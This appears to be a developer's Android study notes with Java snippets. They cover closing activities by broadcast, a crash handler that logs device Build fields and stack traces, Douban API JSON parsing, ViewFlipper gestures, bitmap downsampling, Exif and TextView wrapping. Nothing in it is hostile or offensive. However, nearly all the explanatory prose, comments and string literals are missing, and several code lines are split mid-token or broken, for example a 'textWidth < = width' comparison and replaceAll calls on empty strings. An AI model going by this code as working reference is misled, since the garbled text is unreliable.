package	cn.zengfansheng.douban;
import	android.app.Application;
import	android.content.Intent;
public	class	MyApp	extends	Application	{
				@Override
				public	void	onLowMemory()	{
								super.onLowMemory();
								//	Activity
								//		activity	service
								Intent	intent	=	new	Intent();
								intent.setAction("kill_activity_action");
								sendBroadcast(intent);
				}
}
4Activity
//	NOTES=====================================
/**
	*	 Acitvity
	*	
	*	@author	hacket
	*	
	*/
private	class	KillReceiver	extends	BroadcastReceiver	{
				@Override
				public	void	onReceive(Context	context,	Intent	intent)	{
								iconCacheMap	=	null;
								showToast("activity" );
								finish();
				}
}
@Override



protected	void	onStart()	{
				super.onStart();
				//	
				receiver	=	new	KillReceiver();
				IntentFilter	filter	=	new	IntentFilter("kill_activity_action");
				registerReceiver(receiver,	filter);
}
@Override
protected	void	onDestroy()	{
				super.onDestroy();
				if	(receiver	!=	null)	{
								//	
								unregisterReceiver(receiver);
				}
}



——	 requestCodeActivity,

@Override
protected	void	onActivityResult(int	requestCode,	int	resultCode,	Intent	data)	{
				super.onActivityResult(requestCode,	resultCode,	data);
				if	(resultCode	==	200)	{
								startindex	=	1;
								fillData();
								if	(requestCode	==	NEW_DIARY)	{//	
												showToast("" );
								}	else	if	(requestCode	==	EDIT_DIARY)	{//	
												showToast("" );
								}
				}
}



	UncaughtExceptionHandler	

google
try{}catch{}
	 uncaughtException	()

bug
Thread.setDefaultUncaughtExceptionHandler(new	MyUncaughtExceptionHandler());

①ApplicationonCreate()
public	class	MyApp	extends	Application	{
				@Override
				public	void	onCreate()	{
								//	super.onCreate();
								Thread.setDefaultUncaughtExceptionHandler(new	MyUncaughtExceptionHandler());
				}
}

②
package	cn.zengfansheng.exception;
import	java.lang.Thread.UncaughtExceptionHandler;
/**
	*	UncaughtExceptionHandler
	*	@author	hacket
	*
	*/
public	class	MyUncaughtExceptionHandler	implements	UncaughtExceptionHandler	{
				@Override
				public	void	uncaughtException(Thread	thread,	Throwable	ex)	{
								System.out.println("~~~" );
				}
}
③uncaughtException()
④
⑤



MyUncaughtExceptionHandler

package	cn.zengfansheng.exception;
import	java.io.PrintWriter;
import	java.io.StringWriter;
import	java.lang.Thread.UncaughtExceptionHandler;
import	java.lang.reflect.Field;
import	android.content.Context;
import	android.content.pm.PackageInfo;
import	android.content.pm.PackageManager;
import	android.os.Build;
/**
	*	UncaughtExceptionHandler
	*	@author	hacket
	*
	*/
public	class	MyUncaughtExceptionHandler	implements	UncaughtExceptionHandler	{
				private	Context	context;
				//	
				//	MyUncaughtExceptionHandler
				//	1.
				private	MyUncaughtExceptionHandler()	{
				}
				//	2.
				private	static	MyUncaughtExceptionHandler	myUncaughtExceptionHandler;
				//	3.	myCrashHandler
				public	static	synchronized	MyUncaughtExceptionHandler	getInstance()	{
								if	(myUncaughtExceptionHandler	==	null)	{
												myUncaughtExceptionHandler	=	new	MyUncaughtExceptionHandler();
								}
								return	myUncaughtExceptionHandler;
				}
				//	
				public	void	init(Context	context)	{
								this.context	=	context;



				}
				//	uncaughtException()
				@Override
				public	void	uncaughtException(Thread	thread,	Throwable	ex)	{
								System.out.println("~~~" );
								StringBuilder	sb	=	new	StringBuilder();
								
								PackageManager	pm	=	context.getPackageManager();
								try	{
												//	1..
												PackageInfo	packinfo	=	pm.getPackageInfo(context.getPackageName(),0);
												sb.append("" 	+	packinfo.versionName);
												sb.append("\n");
												//	2..
												Field[]	fields	=	Build.class.getDeclaredFields();
												for	(int	i	=	0;	i	<	fields.length;	i++)	{
																//	,
																fields[i].setAccessible(true);
																String	name	=	fields[i].getName();//	
																sb.append(name	+	"	=	");
																String	value	=	fields[i].get(null).toString();//	
																sb.append(value);
																sb.append("\n");
												}
												//	3.	.
												StringWriter	writer	=	new	StringWriter();
												PrintWriter	printWriter	=	new	PrintWriter(writer);
												ex.printStackTrace(printWriter);
												String	result	=	writer.toString();
												sb.append(result);
												System.out.println(sb.toString());
												//	4.	
												//	TODO	
								}	catch	(Exception	e)	{
												e.printStackTrace();
								}
								//	



								android.os.Process.killProcess(android.os.Process.myPid());
				}
}

02-11	21:03:44.018:	I/System.out(26525):	~~~
02-11	21:03:44.038:	I/System.out(26525):	1.0
02-11	21:03:44.038:	I/System.out(26525):	BOARD	=	MSM8660_SURF
02-11	21:03:44.038:	I/System.out(26525):	BOOTLOADER	=	unknown
02-11	21:03:44.038:	I/System.out(26525):	BRAND	=	Xiaomi
02-11	21:03:44.038:	I/System.out(26525):	CPU_ABI	=	armeabi-v7a
02-11	21:03:44.038:	I/System.out(26525):	CPU_ABI2	=	armeabi
02-11	21:03:44.038:	I/System.out(26525):	DEVICE	=	mione_plus
02-11	21:03:44.038:	I/System.out(26525):	DISPLAY	=	JZO54K
02-11	21:03:44.038:	I/System.out(26525):	FINGERPRINT	=
Xiaomi/mione_plus/mione_plus:4.1.2/JZO54K/4.1.10:user/release-keys
02-11	21:03:44.038:	I/System.out(26525):	HARDWARE	=	qcom
02-11	21:03:44.038:	I/System.out(26525):	HOST	=	wcc-miui-ota-bd17
02-11	21:03:44.038:	I/System.out(26525):	ID	=	JZO54K
02-11	21:03:44.038:	I/System.out(26525):	IS_DEBUGGABLE	=	true
02-11	21:03:44.038:	I/System.out(26525):	MANUFACTURER	=	Xiaomi
02-11	21:03:44.038:	I/System.out(26525):	MODEL	=	MI	1SC
02-11	21:03:44.038:	I/System.out(26525):	PRODUCT	=	mione_plus
02-11	21:03:44.038:	I/System.out(26525):	RADIO	=	unknown
02-11	21:03:44.038:	I/System.out(26525):	SERIAL	=	f0f02fad
02-11	21:03:44.038:	I/System.out(26525):	TAGS	=	release-keys
02-11	21:03:44.038:	I/System.out(26525):	TIME	=	1389262724000
02-11	21:03:44.038:	I/System.out(26525):	TYPE	=	user
02-11	21:03:44.038:	I/System.out(26525):	UNKNOWN	=	unknown
02-11	21:03:44.038:	I/System.out(26525):	USER	=	builder
02-11	21:03:44.038:	I/System.out(26525):	java.lang.RuntimeException:	Unable	to	start	activity
ComponentInfo{cn.zengfansheng.exception/cn.zengfansheng.exception.MainActivity}:
java.lang.NullPointerException
02-11	21:03:44.038:	I/System.out(26525):					at
android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2080)
02-11	21:03:44.038:	I/System.out(26525):					at
android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2105)
02-11	21:03:44.038:	I/System.out(26525):					at
android.app.ActivityThread.access$600(ActivityThread.java:136)
02-11	21:03:44.038:	I/System.out(26525):					at
android.app.ActivityThread$H.handleMessage(ActivityThread.java:1201)
02-11	21:03:44.038:	I/System.out(26525):					at
android.os.Handler.dispatchMessage(Handler.java:99)



02-11	21:03:44.038:	I/System.out(26525):					at	android.os.Looper.loop(Looper.java:137)
02-11	21:03:44.038:	I/System.out(26525):					at
android.app.ActivityThread.main(ActivityThread.java:4803)
02-11	21:03:44.048:	I/System.out(26525):					at	java.lang.reflect.Method.invokeNative(Native
Method)
02-11	21:03:44.048:	I/System.out(26525):					at
java.lang.reflect.Method.invoke(Method.java:511)
02-11	21:03:44.048:	I/System.out(26525):					at
com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:789)
02-11	21:03:44.048:	I/System.out(26525):					at
com.android.internal.os.ZygoteInit.main(ZygoteInit.java:556)
02-11	21:03:44.048:	I/System.out(26525):					at	dalvik.system.NativeStart.main(Native	Method)
02-11	21:03:44.048:	I/System.out(26525):	Caused	by:	java.lang.NullPointerException
02-11	21:03:44.048:	I/System.out(26525):					at
cn.zengfansheng.exception.MainActivity.onCreate(MainActivity.java:13)
02-11	21:03:44.048:	I/System.out(26525):					at
android.app.Activity.performCreate(Activity.java:5084)
02-11	21:03:44.048:	I/System.out(26525):					at
android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1079)
02-11	21:03:44.048:	I/System.out(26525):					at
android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2044)
02-11	21:03:44.048:	I/System.out(26525):					...	11	more



html

jericho-html-3.1.jar		htmljar

html

.../robots.txt	
listview
convertviewconvertviewbitmap

①convertview
②xmlImageView
③ImageView



SharedpreferenceActivity



json

{}		json	-------	JSONObject
	
	
[]	json,{}	-------	JSONArray
	
	
{}JSON	
	:	JSONException
	
	
private	void	fillData(String	isbn)	{
								new	AsyncTask<String,	Void,	Boolean>()	{
												String	title;
												String	summary;
												String	price;
												@Override
												protected	Boolean	doInBackground(String...	params)	{
																//	http://api.douban.com/book/subject/isbn/7543632608?alt=json
																String	path	=	"http://api.douban.com/book/subject/isbn/"
																								+	params[0]	+	"?alt=json";
	
																try	{
																				URL	url	=	new	URL(path);
	
																				Source	source	=	new	Source(url.openConnection());
																				String	jsonstr	=	source.toString();
																				JSONObject	jsonobj	=	new	JSONObject(jsonstr);
																				String	titlestr	=	jsonobj.get("title").toString();
																				JSONObject	jsontitle	=	new	JSONObject(titlestr);
																				title	=	jsontitle.get("$t").toString();
																				System.out.println(title);
	
																				String	summarystr	=	jsonobj.get("summary").toString();
																				if	(summarystr	!=	null)	{
																								JSONObject	jsonsummary	=	new	JSONObject(summarystr);
																								summary	=	jsonsummary.get("$t").toString();
																								System.out.println(summary);
																				}



																					
																				
																				String	attributestr	=	jsonobj.get("db:attribute").toString();
																				JSONArray	attributearray	=	new	JSONArray(attributestr);
																				for(int	i=0;i<attributearray.length();i++){
																								JSONObject	jsonatt	=	new	JSONObject(	attributearray.get(i).toString());
																								if("price".equals(	(jsonatt.get("@name").toString()))){
																												price	=	jsonatt.get("$t").toString();
																												System.out.println(price);
																								}
																				}
																				return	true;
	
																}	catch	(Exception	e)	{
																				e.printStackTrace();
																				return	false;
																}
	
												}
	
												@Override
												protected	void	onPreExecute()	{
																ll_loading.setVisibility(View.VISIBLE);
																super.onPreExecute();
												}
	
												@Override
												protected	void	onPostExecute(Boolean	result)	{
																ll_loading.setVisibility(View.INVISIBLE);
																if(result){
																				tv_title.setText(title+"/"+price);
																				tv_summary.setText(summary);
																}else{
																				Toast.makeText(getApplicationContext(),	"" ,	1).show();
																}
																super.onPostExecute(result);
												}
	
								}.execute(isbn);
				}





ViewFipper
ViewFlipper

GestureDetector

ViewFlipper
1view
vf.addView(view);
2view
vf.showPrevious();
3view
vf.showNext();
4
①
vf.setInAnimation(this,	R.anim.vf_in);
②
vf.setOutAnimation(this,	R.anim.vf_out);

GestureDetector
1	 SimpleOnGestureListener
2 	onFling()
3Activity 	onTouchEvent()
mGestureDetector.onTouchEvent(event);

package	cn.zengfansheng.viewflipper;
import	android.app.Activity;
import	android.graphics.Color;
import	android.os.Bundle;
import	android.util.Log;
import	android.view.GestureDetector;
import	android.view.MotionEvent;
import	android.view.View;
import	android.widget.ImageView;
import	android.widget.TextView;
import	android.widget.ViewFlipper;
public	class	MainActivity	extends	Activity	{



				protected	static	final	String	TAG	=	"MainActivity";
				private	ViewFlipper	vf;
				private	GestureDetector	mGestureDetector;//	/
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								vf	=	(ViewFlipper)	this.findViewById(R.id.vf);
								TextView	tv1	=	new	TextView(this);
								tv1.setText("tv1" );
								tv1.setBackgroundColor(Color.BLUE);
								ImageView	iv2	=	new	ImageView(this);
								iv2.setImageResource(R.drawable.ic_launcher);
								TextView	tv3	=	new	TextView(this);
								tv3.setText("tv3" );
								tv3.setBackgroundColor(Color.YELLOW);
								//	ViewFilpper
								vf.addView(tv1);
								vf.addView(iv2);
								vf.addView(tv3);
								//	
								mGestureDetector	=	new	GestureDetector(this,
																new	GestureDetector.SimpleOnGestureListener()	{
																				@Override
																				public	boolean	onFling(MotionEvent	e1,	MotionEvent	e2,
																												float	velocityX,	float	velocityY)	{
																								//	e1:
																								//	e2:
																								//	velocityXx
																								//	velocityY:y
																								if	(Math.abs(e1.getY()	-	e2.getY())	>	100)	{//	//,
																												Log.i(TAG,	"" );
																												return	false;
																								}
																								if	(e1.getX()	-	e2.getX()	>	100	&&	Math.abs(velocityX)>100)	{//	
																												showNext();
																												return	false;



																								}
																								if	(e2.getX()	-	e1.getX()	>	100	&&	Math.abs(velocityX)>100)	{//	
																												showPre();
																												return	false;
																								}
																								return	super.onFling(e1,	e2,	velocityX,	velocityY);//return	false
																				}
								});
				}
				@Override
				public	boolean	onTouchEvent(MotionEvent	event)	{
								//		
								mGestureDetector.onTouchEvent(event);
								//			,
								//			
								return	super.onTouchEvent(event);
				}
				public	void	pre(View	view)	{
								showPre();
				}
				private	void	showPre()	{
								vf.showPrevious();
								vf.setInAnimation(this,	R.anim.vf_in);
								vf.setOutAnimation(this,	R.anim.vf_out);
				}
				public	void	next(View	view)	{
								showNext();
				}
				private	void	showNext()	{
								vf.showNext();
								vf.setInAnimation(this,	R.anim.vf_in);
								vf.setOutAnimation(this,	R.anim.vf_out);
				}
}





1-

//	1.	
WindowManager	manager	=	getWindowManager();
Display	display	=	manager.getDefaultDisplay();
int	screenWidth	=	display.getWidth();
int	screenHeight	=	display.getHeight();
System.out.println("" 	+	screenWidth);
System.out.println("" 	+	screenHeight);
//	2.	,,
Options	opts	=	new	Options();
//	inJustDecodeBounds	=	true	;
opts.inJustDecodeBounds	=	true;
Bitmap	bm	=	BitmapFactory.decodeResource(getResources(),	IMGS[position%IMGS.length
//	int	imgWidth	=	bm.getWidth();
//	int	imgHeight	=	bm.getHeight();
//	,optstrue bmnull
int	imgWidth	=	opts.outWidth;
int	imgHeight	=	opts.outHeight;
System.out.println("" 	+	imgWidth);
System.out.println("" 	+	imgHeight);
int	resizeX	=	imgWidth	/	screenWidth;
int	resizeY	=	imgHeight	/	screenHeight;
int	size	=	0;
if	(resizeX	>	resizeY)	{
				size	=	resizeX;
}	else	{
				size	=	resizeY;
}
//	3
opts.inSampleSize	=	size;
System.out.println("" 	+	size);
opts.inJustDecodeBounds	=	false;
//	4
bm	=	BitmapFactory.decodeResource(getResources(),	IMGS[position%IMGS.length],opts);

package	cn.zengfansheng.resize;

	

import	android.app.Activity;

import	android.graphics.Bitmap;

import	android.graphics.BitmapFactory;

import	android.graphics.BitmapFactory.Options;



import	android.os.Bundle;

import	android.view.Display;

import	android.view.View;

import	android.view.ViewGroup;

import	android.view.WindowManager;

import	android.widget.BaseAdapter;

import	android.widget.ImageView;

import	android.widget.ListAdapter;

import	android.widget.ListView;

import	android.widget.TextView;

	

public	class	MainActivity	extends	Activity	{

	

				private	ListView	lv;

	

				private	final	int[]	IMGS	=	{

												R.drawable.imag_1,	R.drawable.imag_2,

												R.drawable.imag_3,	R.drawable.imag_4,	R.drawable.imag_5,

				};

	

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

	

								setContentView(R.layout.activity_main);

								lv	=	(ListView)	this.findViewById(R.id.lv_img);

								ListAdapter	adapter	=	new	MyAdapter();

								lv.setAdapter(adapter	);

				}

	

				private	class	MyAdapter	extends	BaseAdapter{

	

								@Override

								public	int	getCount()	{

												return	IMGS.length	*	2;

								}

	

								@Override

								public	Object	getItem(int	position)	{

												return	IMGS[position];

								}

	

								@Override

								public	long	getItemId(int	position)	{

												return	position;

								}

	

								@SuppressWarnings("deprecation")

								@Override

								public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{

	

												View	view	=	null;

												TextView	tvImg	=	null;

												ImageView	ivImg	=	null;

												if	(convertView	!=	null	&&	convertView	instanceof	TextView)	{



																view	=	convertView;

												}	else	{

																view	=	View.inflate(getApplicationContext(),	R.layout.lv_item,	null);

	

																tvImg	=	(TextView)	view.findViewById(R.id.tv_img);

																ivImg	=	(ImageView)	view.findViewById(R.id.iv_img);

												}

												tvImg.setText("" 	+	(position	+	1)	+	"" );

	

//												Bitmap	bm	=	BitmapFactory.decodeResource(getResources(),

IMGS[position%IMGS.length]);

	

												//	1.	

												WindowManager	manager	=	getWindowManager();

												Display	display	=	manager.getDefaultDisplay();

												int	screenWidth	=	display.getWidth();

												int	screenHeight	=	display.getHeight();

	

												System.out.println("" 	+	screenWidth);

												System.out.println("" 	+	screenHeight);

	

												//	2.	,,

												Options	opts	=	new	Options();

												//	inJustDecodeBounds	=	true	;

												opts.inJustDecodeBounds	=	true;

												Bitmap	bm	=	BitmapFactory.decodeResource(getResources(),

IMGS[position%IMGS.length],opts);

	

												//	int	imgWidth	=	bm.getWidth();

												//	int	imgHeight	=	bm.getHeight();

												//	,optstruebmnull

												int	imgWidth	=	opts.outWidth;

												int	imgHeight	=	opts.outHeight;

	

												System.out.println("" 	+	imgWidth);

												System.out.println("" 	+	imgHeight);

	

												int	resizeX	=	imgWidth	/	screenWidth;

												int	resizeY	=	imgHeight	/	screenHeight;

	

												int	size	=	0;

												if	(resizeX	>	resizeY)	{

																size	=	resizeX;

												}	else	{

																size	=	resizeY;

												}

												//	3

												opts.inSampleSize	=	size;

												System.out.println("" 	+	size);

	

												opts.inJustDecodeBounds	=	false;

												//	4

												bm	=	BitmapFactory.decodeResource(getResources(),

IMGS[position%IMGS.length],opts);

												ivImg.setImageBitmap(bm);



	

												return	view;

								}

	

				}

	

}



Exif

package	cn.itcast.exif;	

import	android.app.Activity;

import	android.media.ExifInterface;

import	android.os.Bundle;

	

public	class	DemoActivity	extends	Activity	{

				/**	Called	when	the	activity	is	first	created.	*/

				@Override

				public	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

								setContentView(R.layout.main);

	

								try	{

	

												ExifInterface	exif	=	new	ExifInterface("/data/data/imag_2.jpg");

	

//												System.out.println(	exif.getAttribute("ImageDescription"));

	

												System.out.println(

exif.getAttribute(ExifInterface.TAG_DATETIME));

												System.out.println(

exif.getAttribute(ExifInterface.TAG_IMAGE_LENGTH));

												System.out.println(

exif.getAttribute(ExifInterface.TAG_IMAGE_WIDTH));

	

												exif.setAttribute("camera",	"" );

	

												System.out.println(	exif.getAttribute("camera"));

	

								}	catch	(Exception	e)	{

												e.printStackTrace();

								}

				}

}



Activity

Force	Close
Force	Close

①
②
③Activity
//	 android.os.Process.killProcess(android.os.Process.myPid());
Activity
①List<Activity>	lists	;	application	
				lists	=	new	ArrayList<Activity>();
②ActivityonCreate()
				activityoncreate()	lists.add(this);,lists.add(activity);
③finish()
				Ondestory()	lists.remove(this);
④Activityfinish()
//	Activity
List<Activity>	listActivities	=	app.listActivities;
for	(Activity	activity	:	listActivities)	{
				activity.finish();
				System.out.println("" 	+	activity);
}
listActivities.clear();
listActivities	=	null;

Activity

//activity		 			

				registerReceiver(receiver,	filter)

	

//	activity		finish()	activity	finish()

()



ActivitystartActivityForResult onActivityResult

404	

OnActivityResult();



SerializableParcelable	

	implements		Serializable	.	
①
Serializable	,	ObjectOutputStream										//	
								File	file	=	new	File("c:\\1.obj");
								FileOutputStream	fos		=	new	FileOutputStream(file);
								ObjectOutputStream	oos	=	new	ObjectOutputStream(fos);
	
								Student	stu	=	new	Student();
								stu.setId("10001");
								stu.setName("zs");
								oos.writeObject(stu);
	
	②
								FileInputStream	fis	=	new	FileInputStream(file);
								ObjectInputStream	ois	=	new	ObjectInputStream(fis);
									Student	stu1	=	(Student)	ois.readObject();
								System.out.println(stu1.getName());

Parcelable		Serializable
	
Parcelable	android		
Parcelable	Serializable



FLAG_ACTIVITY_NEW_TASK servicereceiverActivity

①ActivityTaskStack

②
IntentService
Service



Android	TextView

AndroidTextView

1	TextView 	

2	TextView	

1 Androidframeworks/base/core/java/android/textStaticLayout.java

www.linuxidc.com	 	2

2View

3TextView halfWidthToFullWidth 	 	
4TextViewandroid:singleLine="true"
	
Unicodeif	(w	<=	width) TextViewandroid:layout_widthmatch_parent

	
TextViewandroid:layout_widthwrap_content
Java	 		
1.	 <TextView		
2.	 				android:id="@+id/textView"		
3.	 				android:layout_width="wrap_content"		
4.	 				android:layout_height="wrap_content"/>		
TextViewViewmatch_parentandroidfill_parent
Java	 		
1.	 <TextView		
2.	 				android:id="@+id/textView"		

http://www.linuxidc.com/topicnews.aspx?tid=11
http://www.linuxidc.com/topicnews.aspx?tid=11
http://www.linuxidc.com/topicnews.aspx?tid=11
http://code.google.com/p/trinea-java-common/source/browse/trunk/src/main/java/com/trinea/java/common/StringUtils.java#227


3.	 				android:layout_width="match_parent"		
4.	 				android:layout_height="wrap_content"/>		
TextViewView android:layout_weight

	< http://trinea.iteye.com/blog/1486801>
	

androidtextview----	

1.	textview		
Java	 		
1.	 /**	
2.	 					*	 	
3.	 					*		
4.	 					*	@param	input	
5.	 					*	@return	
6.	 					*/		
7.	 				public	static	String	ToDBC(String	input)	{		
8.	 								char[]	c	=	input.toCharArray();		
9.	 								for	(int	i	=	0;	i	<	c.length;	i++)	{		
10.	 												if	(c[i]	==	12288)	{		
11.	 																c[i]	=	(char)	32;		
12.	 																continue;		
13.	 												}		
14.	 												if	(c[i]	>	65280	&&	c[i]	<	65375)		
15.	 																c[i]	=	(char)	(c[i]	-	65248);		
16.	 								}		
17.	 								return	new	String(c);		
18.	 				}		

2.	replaceAll	
Java	 		
1.	 /**	
2.	 					*	 	
3.	 					*		

http://trinea.iteye.com/blog/1487226
http://trinea.iteye.com/blog/1486801


4.	 					*	@param	str	
5.	 					*	@return	
6.	 					*/		
7.	 				public	static	String	stringFilter(String	str)	{	

	
8.	 								str	=	str.replaceAll("" ,	"

[").replaceAll("" ,	"]")		
9.	 																.replaceAll("" ,	"!").replaceAll(

,	":");//	 		
10.	 								String	regEx	=	"[]" ;	//	 		
11.	 								Pattern	p	=	Pattern.compile(regEx);		
12.	 								Matcher	m	=	p.matcher(str);		
13.	 								return	m.replaceAll("").trim();		
14.	 				}		

	

		



	

		

Androidview-	
	
	
Java	 		
1.	 protected	void	onDraw(Canvas	canvas)	{		
2.	 								FontMetrics	fm	=	mPaint.getFontMetrics();		
3.	 										
4.	 				float	baseline	=	fm.descent	-	fm.ascent;			
5.	 				float	x	=	0;		
6.	 				float	y	=		baseline;		// 		
7.	 										
8.	 				String	txt	=	getResources().getString(com.orgcen

t.demo.R.string.hello);		

http://orgcent.com/android-custom-view-text-wrap/


9.	 										
10.	 				//		
11.	 				String[]	texts	=	autoSplit(txt,	mPaint,	getWidth

()	-	5);		
12.	 										
13.	 				System.out.printf("line	indexs:	%s\n",	Arrays.to

String(texts));		
14.	 										
15.	 				for(String	text	:	texts)	{			
16.	 								canvas.drawText(text,	x,	y,	mPaint);		//		
17.	 								y	+=	baseline	+	fm.leading;	//		
18.	 				}		
19.	 }		

Java	 		
1.	 /**	
2.	 	*	 	
3.	 	*	@param	content	 	
4.	 	*	@param	p		 	
5.	 	*	@param	width	 	
6.	 	*	@return	 	
7.	 	*/		
8.	 private	String[]	autoSplit(String	content,	Paint	p,	

float	width)	{		
9.	 				int	length	=	content.length();		
10.	 				float	textWidth	=	p.measureText(content);		
11.	 				if(textWidth	<	=	width)	{		
12.	 								return	new	String[]{content};		
13.	 				}		
14.	 										
15.	 				int	start	=	0,	end	=	1,	i	=	0;		
16.	 				int	lines	=	(int)	Math.ceil(textWidth	/	width);	

//		
17.	 				String[]	lineTexts	=	new	String[lines];		
18.	 				while(start	<	length)	{		
19.	 								if(p.measureText(content,	start,	end)	>	widt



h)	{	//		
20.	 												lineTexts[i++]	=	(String)	content.subSeq

uence(start,	end);		
21.	 												start	=	end;		
22.	 								}		
23.	 								if(end	==	length)	{	//		
24.	 												lineTexts[i]	=	(String)	content.subSeque

nce(start,	end);		
25.	 												break;		
26.	 								}		
27.	 								end	+=	1;		
28.	 				}		
29.	 				return	lineTexts;		
30.	 }		

	
	< http://gundumw100.iteye.com/blog/1420725>
	

http://gundumw100.iteye.com/blog/1420725
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